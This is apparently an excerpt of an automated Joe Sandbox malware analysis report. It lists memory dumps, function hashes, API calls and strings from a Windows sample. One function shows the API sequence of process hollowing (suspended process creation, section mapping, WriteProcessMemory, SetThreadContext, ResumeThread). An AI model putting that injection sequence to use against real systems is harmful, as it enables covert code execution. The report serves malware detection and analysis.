Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CreateThreadUser
String ID:
API String ID: 1531140918-0
Opcode ID: 9d825d32468024121c3756d526faa31a86c33974238a552c6b200037977dcc1c
Instruction ID: 46d94aceaf0c1ee6c7897ed0b999fcb0a2b6e0a31722f8866ee532e0ddf75f4a
Opcode Fuzzy Hash: 9d825d32468024121c3756d526faa31a86c33974238a552c6b200037977dcc1c
Instruction Fuzzy Hash: 49F04931918D2DAF8F15AAA8E804EADBBB1FB68320F510605E405E3048DA31E490DB81

Function 04DE0C0D Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04DE0C1C

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 1f4eb6644fe311e147af6e866001c1b62b4928c8fb6fd59e58831e90c72d6f0e
Instruction ID: dc6553d8c10bf6f93736eb3b5ad59cfd13cf4e1e5ffb5fe06b477f66379d2e0d
Opcode Fuzzy Hash: 1f4eb6644fe311e147af6e866001c1b62b4928c8fb6fd59e58831e90c72d6f0e
Instruction Fuzzy Hash: 07F0A0B725B031EE6607B8A79685A762B3CF7C67387308886F1C3C6500F6A4A942E564

Function 009498EE Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00946178), ref: 009498F7

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: e76bde2dffbba1126e90bf3e6beb627f09ae933e5d97911e4323b53e8c536fdd
Instruction ID: 048107ea1e78ac33bbc4a198c010c798e7bf9a8d2365d8dd71a28b4af3647a27
Opcode Fuzzy Hash: e76bde2dffbba1126e90bf3e6beb627f09ae933e5d97911e4323b53e8c536fdd
Instruction Fuzzy Hash: 7EC092B078A34666FB6A6B386C52B5912841706B42F20102AB206EA9E8DB90A850E608

Non-executed Functions

Function 00925140 Relevance: 56.4, APIs: 25, Strings: 7, Instructions: 360memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000B3C), ref: 00925150
_memset.LIBCMT ref: 00925302
LocalFree.KERNEL32(00000000), ref: 009256DD
LocalFree.KERNEL32(00000000), ref: 009256F2
CloseHandle.KERNEL32(00000000), ref: 00925702
CloseHandle.KERNEL32(00000000), ref: 00925712

Strings

%s %s, xrefs: 00925574
HWID_%s, xrefs: 00925388
{2166BF44-78F6-4092-8B52-D7E5291F5927}, xrefs: 00925197, 0092558D
{487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}, xrefs: 00925568
{B83BD4BD-2B9D-4550-97FC-5ABFD258A447}, xrefs: 009251F5
{21AA2932-B56E-4A88-96A8-ED25B3407693}, xrefs: 0092517F
{13699FE1-C978-4490-B4B7-A4AB4E14BDD8}, xrefs: 0092516E

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Alloc_memset
String ID: %s %s$HWID_%s${13699FE1-C978-4490-B4B7-A4AB4E14BDD8}${2166BF44-78F6-4092-8B52-D7E5291F5927}${21AA2932-B56E-4A88-96A8-ED25B3407693}${487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}${B83BD4BD-2B9D-4550-97FC-5ABFD258A447}
API String ID: 3007728764-3557959644
Opcode ID: 39851200a2ab9033fec41e2804af7170eeb75ea34c2996256e9a4bf37468cfe4
Instruction ID: 679c7e3ca17cb9cf24a3ddb00f5841321866813a5fa7c6c40e30848c2fcd0571
Opcode Fuzzy Hash: 39851200a2ab9033fec41e2804af7170eeb75ea34c2996256e9a4bf37468cfe4
Instruction Fuzzy Hash: D5E119B0A14314DFDB24DB68FC89FAA77B9FB88305F40446AE505932E4E7749A80DF50

Function 0092A1B0 Relevance: 51.0, APIs: 28, Strings: 1, Instructions: 285nativethreadinjectionCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0092A1B9
_memset.LIBCMT ref: 0092A1CA
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,00922000), ref: 0092A21B
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 0092A251
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 0092A290
_memmove.LIBCMT ref: 0092A2AF
NtMapViewOfSection.NTDLL(00000000,00922000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 0092A2DA
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 0092A320
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 0092A36E
_memmove.LIBCMT ref: 0092A390
NtMapViewOfSection.NTDLL(00000000,00922000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 0092A3C7
_memset.LIBCMT ref: 0092A3E8
GetThreadContext.KERNEL32(?,00010007), ref: 0092A405
WriteProcessMemory.KERNEL32(00922000,?,?,00000004,?), ref: 0092A447
SetThreadContext.KERNEL32(?,00010007), ref: 0092A461
ResumeThread.KERNEL32(?), ref: 0092A470
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 0092A486
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 0092A494
NtClose.NTDLL(00000000), ref: 0092A49E
NtClose.NTDLL(00000000), ref: 0092A4AB
NtUnmapViewOfSection.NTDLL(00922000,00000000), ref: 0092A4E6
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 0092A4F7
NtClose.NTDLL(00000000), ref: 0092A504
NtUnmapViewOfSection.NTDLL(00922000,00000000), ref: 0092A512
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 0092A520
NtClose.NTDLL(00000000), ref: 0092A52A
CloseHandle.KERNEL32(00922000), ref: 0092A534
CloseHandle.KERNEL32(?), ref: 0092A53E

Strings

D, xrefs: 0092A1D2

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Section$View$CloseUnmap$CreateProcessThread$ContextHandle_memmove_memset$CurrentMemoryResumeWrite
String ID: D
API String ID: 3285855377-2746444292
Opcode ID: 7d8f0b0dbf08317c6b46775228a7c53404a835891a00d2976be5de838a914a61
Instruction ID: ebcdd8434e9fb221869d456120ca481e972fccd5925f198e66ec81f5b380773e
Opcode Fuzzy Hash: 7d8f0b0dbf08317c6b46775228a7c53404a835891a00d2976be5de838a914a61
Instruction Fuzzy Hash: D3C10EB1A10318AFDB24DFA4DD49F9EB7B9BB48700F208559F609A7290D775AA40CF50

Function 00941030 Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 385synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00941149

Strings

{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 00941036
{C4F1F2C1-695F-4D66-8AAF-6A2C007FD9FA}, xrefs: 009410A1
{21AA2932-B56E-4A88-96A8-ED25B3407693}, xrefs: 00941065

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait
String ID: {21AA2932-B56E-4A88-96A8-ED25B3407693}${C4F1F2C1-695F-4D66-8AAF-6A2C007FD9FA}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 24740636-1247784287
Opcode ID: 8723a27bb8f114ca50f0e1c1d987426a633bfca6a88bea42c8aad39e9d38476c
Instruction ID: de278d54ef97a10117ec2fb4eb4da2f83687d38c4af6132ffe0ae45640d0922a
Opcode Fuzzy Hash: 8723a27bb8f114ca50f0e1c1d987426a633bfca6a88bea42c8aad39e9d38476c
Instruction Fuzzy Hash: 6EE18070A59204EBEB24EFA8DC89FAE77B8EB45304F204519E211771D0C7F8A9C4DB65

Function 00940950 Relevance: 10.8, APIs: 7, Instructions: 251COMMON

Download Yara Rule

APIs

___crtGetLocaleInfoEx.LIBCMTD ref: 0094096D

Part of subcall function 0093F650: recv.WS2_32(00000000,?,000000FF,00940A9A), ref: 0093F663

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
